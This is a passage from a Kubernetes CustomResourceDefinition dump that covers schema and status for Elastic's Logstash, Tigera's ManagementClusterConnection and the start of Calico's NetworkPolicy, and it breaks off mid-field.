                              If the resource referred to by volumeAttributesClass does not exist, this PersistentVolumeClaim will be
                              set to a Pending state, as reflected by the modifyVolumeStatus field, until such as a resource
                              exists.
                              More info: https://kubernetes.io/docs/concepts/storage/volume-attributes-classes/
                              (Alpha) Using this field requires the VolumeAttributesClass feature gate to be enabled.
                            type: string
                          volumeMode:
                            description: |-
                              volumeMode defines what type of volume is required by the claim.
                              Value of Filesystem is implied when not included in claim spec.
                            type: string
                          volumeName:
                            description: volumeName is the binding reference to the
                              PersistentVolume backing this claim.
                            type: string
                        type: object
                      status:
                        description: |-
                          status represents the current information/status of a persistent volume claim.
                          Read-only.
                          More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#persistentvolumeclaims
                        properties:
                          accessModes:
                            description: |-
                              accessModes contains the actual access modes the volume backing the PVC has.
                              More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#access-modes-1
                            items:
                              type: string
                            type: array
                            x-kubernetes-list-type: atomic
                          allocatedResourceStatuses:
                            additionalProperties:
                              description: |-
                                When a controller receives persistentvolume claim update with ClaimResourceStatus for a resource
                                that it does not recognizes, then it should ignore that update and let other controllers
                                handle it.
                              type: string
                            description: "allocatedResourceStatuses stores status
                              of resource being resized for the given PVC.\nKey names
                              follow standard Kubernetes label syntax. Valid values
                              are either:\n\t* Un-prefixed keys:\n\t\t- storage -
                              the capacity of the volume.\n\t* Custom resources must
                              use implementation-defined prefixed names such as \"example.com/my-custom-resource\"\nApart
                              from above values - keys that are unprefixed or have
                              kubernetes.io prefix are considered\nreserved and hence
                              may not be used.\n\n\nClaimResourceStatus can be in
                              any of following states:\n\t- ControllerResizeInProgress:\n\t\tState
                              set when resize controller starts resizing the volume
                              in control-plane.\n\t- ControllerResizeFailed:\n\t\tState
                              set when resize has failed in resize controller with
                              a terminal error.\n\t- NodeResizePending:\n\t\tState
                              set when resize controller has finished resizing the
                              volume but further resizing of\n\t\tvolume is needed
                              on the node.\n\t- NodeResizeInProgress:\n\t\tState set
                              when kubelet starts resizing the volume.\n\t- NodeResizeFailed:\n\t\tState
                              set when resizing has failed in kubelet with a terminal
                              error. Transient errors don't set\n\t\tNodeResizeFailed.\nFor
                              example: if expanding a PVC for more capacity - this
                              field can be one of the following states:\n\t- pvc.status.allocatedResourceStatus['storage']
                              = \"ControllerResizeInProgress\"\n     - pvc.status.allocatedResourceStatus['storage']
                              = \"ControllerResizeFailed\"\n     - pvc.status.allocatedResourceStatus['storage']
                              = \"NodeResizePending\"\n     - pvc.status.allocatedResourceStatus['storage']
                              = \"NodeResizeInProgress\"\n     - pvc.status.allocatedResourceStatus['storage']
                              = \"NodeResizeFailed\"\nWhen this field is not set,
                              it means that no resize operation is in progress for
                              the given PVC.\n\n\nA controller that receives PVC update
                              with previously unknown resourceName or ClaimResourceStatus\nshould
                              ignore the update for the purpose it was designed. For
                              example - a controller that\nonly is responsible for
                              resizing capacity of the volume, should ignore PVC updates
                              that change other valid\nresources associated with PVC.\n\n\nThis
                              is an alpha field and requires enabling RecoverVolumeExpansionFailure
                              feature."
                            type: object
                            x-kubernetes-map-type: granular
                          allocatedResources:
                            additionalProperties:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                              x-kubernetes-int-or-string: true
                            description: "allocatedResources tracks the resources
                              allocated to a PVC including its capacity.\nKey names
                              follow standard Kubernetes label syntax. Valid values
                              are either:\n\t* Un-prefixed keys:\n\t\t- storage -
                              the capacity of the volume.\n\t* Custom resources must
                              use implementation-defined prefixed names such as \"example.com/my-custom-resource\"\nApart
                              from above values - keys that are unprefixed or have
                              kubernetes.io prefix are considered\nreserved and hence
                              may not be used.\n\n\nCapacity reported here may be
                              larger than the actual capacity when a volume expansion
                              operation\nis requested.\nFor storage quota, the larger
                              value from allocatedResources and PVC.spec.resources
                              is used.\nIf allocatedResources is not set, PVC.spec.resources
                              alone is used for quota calculation.\nIf a volume expansion
                              capacity request is lowered, allocatedResources is only\nlowered
                              if there are no expansion operations in progress and
                              if the actual volume capacity\nis equal or lower than
                              the requested capacity.\n\n\nA controller that receives
                              PVC update with previously unknown resourceName\nshould
                              ignore the update for the purpose it was designed. For
                              example - a controller that\nonly is responsible for
                              resizing capacity of the volume, should ignore PVC updates
                              that change other valid\nresources associated with PVC.\n\n\nThis
                              is an alpha field and requires enabling RecoverVolumeExpansionFailure
                              feature."
                            type: object
                          capacity:
                            additionalProperties:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                              x-kubernetes-int-or-string: true
                            description: capacity represents the actual resources
                              of the underlying volume.
                            type: object
                          conditions:
                            description: |-
                              conditions is the current Condition of persistent volume claim. If underlying persistent volume is being
                              resized then the Condition will be set to 'Resizing'.
                            items:
                              description: PersistentVolumeClaimCondition contains
                                details about state of pvc
                              properties:
                                lastProbeTime:
                                  description: lastProbeTime is the time we probed
                                    the condition.
                                  format: date-time
                                  type: string
                                lastTransitionTime:
                                  description: lastTransitionTime is the time the
                                    condition transitioned from one status to another.
                                  format: date-time
                                  type: string
                                message:
                                  description: message is the human-readable message
                                    indicating details about last transition.
                                  type: string
                                reason:
                                  description: |-
                                    reason is a unique, this should be a short, machine understandable string that gives the reason
                                    for condition's last transition. If it reports "Resizing" that means the underlying
                                    persistent volume is being resized.
                                  type: string
                                status:
                                  type: string
                                type:
                                  description: PersistentVolumeClaimConditionType
                                    is a valid value of PersistentVolumeClaimCondition.Type
                                  type: string
                              required:
                              - status
                              - type
                              type: object
                            type: array
                            x-kubernetes-list-map-keys:
                            - type
                            x-kubernetes-list-type: map
                          currentVolumeAttributesClassName:
                            description: |-
                              currentVolumeAttributesClassName is the current name of the VolumeAttributesClass the PVC is using.
                              When unset, there is no VolumeAttributeClass applied to this PersistentVolumeClaim
                              This is an alpha field and requires enabling VolumeAttributesClass feature.
                            type: string
                          modifyVolumeStatus:
                            description: |-
                              ModifyVolumeStatus represents the status object of ControllerModifyVolume operation.
                              When this is unset, there is no ModifyVolume operation being attempted.
                              This is an alpha field and requires enabling VolumeAttributesClass feature.
                            properties:
                              status:
                                description: "status is the status of the ControllerModifyVolume
                                  operation. It can be in any of following states:\n
                                  - Pending\n   Pending indicates that the PersistentVolumeClaim
                                  cannot be modified due to unmet requirements, such
                                  as\n   the specified VolumeAttributesClass not existing.\n
                                  - InProgress\n   InProgress indicates that the volume
                                  is being modified.\n - Infeasible\n  Infeasible
                                  indicates that the request has been rejected as
                                  invalid by the CSI driver. To\n\t  resolve the error,
                                  a valid VolumeAttributesClass needs to be specified.\nNote:
                                  New statuses can be added in the future. Consumers
                                  should check for unknown statuses and fail appropriately."
                                type: string
                              targetVolumeAttributesClassName:
                                description: targetVolumeAttributesClassName is the
                                  name of the VolumeAttributesClass the PVC currently
                                  being reconciled
                                type: string
                            required:
                            - status
                            type: object
                          phase:
                            description: phase represents the current phase of PersistentVolumeClaim.
                            type: string
                        type: object
                    type: object
                  type: array
              required:
              - version
              type: object
            status:
              description: LogstashStatus defines the observed state of Logstash
              properties:
                availableNodes:
                  format: int32
                  type: integer
                elasticsearchAssociationsStatus:
                  additionalProperties:
                    description: AssociationStatus is the status of an association
                      resource.
                    type: string
                  description: ElasticsearchAssociationStatus is the status of any
                    auto-linking to Elasticsearch clusters.
                  type: object
                expectedNodes:
                  format: int32
                  type: integer
                health:
                  type: string
                monitoringAssociationStatus:
                  additionalProperties:
                    description: AssociationStatus is the status of an association
                      resource.
                    type: string
                  description: MonitoringAssociationStatus is the status of any auto-linking
                    to monitoring Elasticsearch clusters.
                  type: object
                observedGeneration:
                  description: |-
                    ObservedGeneration is the most recent generation observed for this Logstash instance.
                    It corresponds to the metadata generation, which is updated on mutation by the API Server.
                    If the generation observed in status diverges from the generation in metadata, the Logstash
                    controller has not yet processed the changes contained in the Logstash specification.
                  format: int64
                  type: integer
                selector:
                  type: string
                version:
                  description: |-
                    Version of the stack resource currently running. During version upgrades, multiple versions may run
                    in parallel: this value specifies the lowest version currently running.
                  type: string
              required:
              - selector
              type: object
          type: object
      served: true
      storage: true
      subresources:
        scale:
          labelSelectorPath: .status.selector
          specReplicasPath: .spec.count
          statusReplicasPath: .status.expectedNodes
        status: {}
  status:
    acceptedNames:
      categories:
      - elastic
      kind: Logstash
      listKind: LogstashList
      plural: logstashes
      shortNames:
      - ls
      singular: logstash
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:04Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T11:56:04Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1alpha1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
    creationTimestamp: "2025-10-19T16:10:28Z"
    generation: 1
    name: managementclusterconnections.operator.tigera.io
    resourceVersion: "6820601"
    uid: 44d09941-39cb-4cca-9658-99641c30da09
  spec:
    conversion:
      strategy: None
    group: operator.tigera.io
    names:
      kind: ManagementClusterConnection
      listKind: ManagementClusterConnectionList
      plural: managementclusterconnections
      singular: managementclusterconnection
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          description: |-
            ManagementClusterConnection represents a link between a managed cluster and a management cluster. At most one
            instance of this resource is supported. It must be named "tigera-secure".
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: ManagementClusterConnectionSpec defines the desired state
                of ManagementClusterConnection
              properties:
                guardianDeployment:
                  description: GuardianDeployment configures the guardian Deployment.
                  properties:
                    spec:
                      description: Spec is the specification of the guardian Deployment.
                      properties:
                        template:
                          description: Template describes the guardian Deployment
                            pod that will be created.
                          properties:
                            spec:
                              description: Spec is the guardian Deployment's PodSpec.
                              properties:
                                containers:
                                  description: |-
                                    Containers is a list of guardian containers.
                                    If specified, this overrides the specified guardian Deployment containers.
                                    If omitted, the guardian Deployment will use its default values for its containers.
                                  items:
                                    description: GuardianDeploymentContainer is a
                                      guardian Deployment container.
                                    properties:
                                      name:
                                        description: |-
                                          Name is an enum which identifies the guardian Deployment container by name.
                                          Supported values are: tigera-guardian
                                        enum:
                                        - tigera-guardian
                                        type: string
                                      resources:
                                        description: |-
                                          Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                          If specified, this overrides the named guardian Deployment container's resources.
                                          If omitted, the guardian Deployment will use its default value for this container's resources.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                initContainers:
                                  description: |-
                                    InitContainers is a list of guardian init containers.
                                    If specified, this overrides the specified guardian Deployment init containers.
                                    If omitted, the guardian Deployment will use its default values for its init containers.
                                  items:
                                    description: GuardianDeploymentInitContainer is
                                      a guardian Deployment init container.
                                    properties:
                                      name:
                                        description: Name is an enum which identifies
                                          the guardian Deployment init container by
                                          name.
                                        type: string
                                      resources:
                                        description: |-
                                          Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                          If specified, this overrides the named guardian Deployment init container's resources.
                                          If omitted, the guardian Deployment will use its default value for this init container's resources.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                              type: object
                          type: object
                      type: object
                  type: object
                managementClusterAddr:
                  description: |-
                    Specify where the managed cluster can reach the management cluster. Ex.: "10.128.0.10:30449". A managed cluster
                    should be able to access this address. This field is used by managed clusters only.
                  type: string
                tls:
                  description: TLS provides options for configuring how Managed Clusters
                    can establish an mTLS connection with the Management Cluster.
                  properties:
                    ca:
                      description: |-
                        CA indicates which verification method the tunnel client should use to verify the tunnel server's identity.
                        When left blank or set to 'Tigera', the tunnel client will expect a self-signed cert to be included in the certificate bundle
                        and will expect the cert to have a Common Name (CN) of 'voltron'.
                        When set to 'Public', the tunnel client will use its installed system certs and will use the managementClusterAddr to verify the tunnel server's identity.
                        Default: Tigera
                      enum:
                      - Tigera
                      - Public
                      type: string
                  type: object
              type: object
            status:
              description: ManagementClusterConnectionStatus defines the observed
                state of ManagementClusterConnection
              properties:
                conditions:
                  description: |-
                    Conditions represents the latest observed set of conditions for the component. A component may be one or more of
                    Ready, Progressing, Degraded or other customer types.
                  items:
                    description: Condition contains details for one aspect of the
                      current state of this API Resource.
                    properties:
                      lastTransitionTime:
                        description: |-
                          lastTransitionTime is the last time the condition transitioned from one status to another.
                          This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          message is a human readable message indicating details about the transition.
                          This may be an empty string.
                        maxLength: 32768
                        type: string
                      observedGeneration:
                        description: |-
                          observedGeneration represents the .metadata.generation that the condition was set based upon.
                          For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the instance.
                        format: int64
                        minimum: 0
                        type: integer
                      reason:
                        description: |-
                          reason contains a programmatic identifier indicating the reason for the condition's last transition.
                          Producers of specific condition types may define expected values and meanings for this field,
                          and whether the values are considered a guaranteed API.
                          The value should be a CamelCase string.
                          This field may not be empty.
                        maxLength: 1024
                        minLength: 1
                        pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                        type: string
                      status:
                        description: status of the condition, one of True, False,
                          Unknown.
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: type of condition in CamelCase or in foo.example.com/CamelCase.
                        maxLength: 316
                        pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                        type: string
                    required:
                    - lastTransitionTime
                    - message
                    - reason
                    - status
                    - type
                    type: object
                  type: array
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: ManagementClusterConnection
      listKind: ManagementClusterConnectionList
      plural: managementclusterconnections
      singular: managementclusterconnection
    conditions:
    - lastTransitionTime: "2025-10-19T16:10:29Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-10-19T16:10:31Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"networkpolicies.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"NetworkPolicy","listKind":"NetworkPolicyList","plural":"networkpolicies","singular":"networkpolicy"},"preserveUnknownFields":false,"scope":"Namespaced","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"properties":{"egress":{"description":"The ordered set of egress rules.  Each rule contains a set of packet match criteria and\na corresponding action to apply.","items":{"description":"A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy\nand security Profiles reference rules - separated out as a list of rules for both\ningress and egress packet matching.\n\nEach positive match criteria has a negated version, prefixed with \"Not\". All the match\ncriteria within a rule must be satisfied for a packet to match. A single rule can contain\nthe positive and negative version of a match and both must be satisfied for the rule to match.","properties":{"action":{"type":"string"},"destination":{"description":"Destination contains the match criteria that apply to destination entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"},"http":{"description":"HTTP contains match criteria that apply to HTTP requests.","properties":{"methods":{"description":"Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed\nHTTP Methods (e.g. GET, PUT, etc.)\nMultiple methods are OR'd together.","items":{"type":"string"},"type":"array"},"paths":{"description":"Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed\nHTTP Paths.\nMultiple paths are OR'd together.\ne.g:\n- exact: /foo\n- prefix: /bar\nNOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.","items":{"description":"HTTPPath specifies an HTTP path to match. It may be either of the form:\nexact: \u003cpath\u003e: which matches the path exactly or\nprefix: \u003cpath-prefix\u003e: which matches the path prefix","properties":{"exact":{"type":"string"},"prefix":{"type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"icmp":{"description":"ICMP is an optional field that restricts the rule to apply to a specific type and\ncode of ICMP traffic.  This should only be specified if the Protocol field is set to\n\"ICMP\" or \"ICMPv6\".","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"ipVersion":{"description":"IPVersion is an optional field that restricts the rule to only match a specific IP\nversion.","type":"integer"},"metadata":{"description":"Metadata contains additional information for this rule","properties":{"annotations":{"additionalProperties":{"type":"string"},"description":"Annotations is a set of key value pairs that give extra information about the rule","type":"object"}},"type":"object"},"notICMP":{"description":"NotICMP is the negated version of the ICMP field.","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"notProtocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"NotProtocol is the negated version of the Protocol field.","pattern":"^.*","x-kubernetes-int-or-string":true},"protocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Protocol is an optional field that restricts the rule to only apply to traffic of\na specific IP protocol. Required if any of the EntityRules contain Ports\n(because ports only apply to certain protocols).\n\nMust be one of these string values: \"TCP\", \"UDP\", \"ICMP\", \"ICMPv6\", \"SCTP\", \"UDPLite\"\nor an integer in the range 1-255.","pattern":"^.*","x-kubernetes-int-or-string":true},"source":{"description":"Source contains the match criteria that apply to source entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to 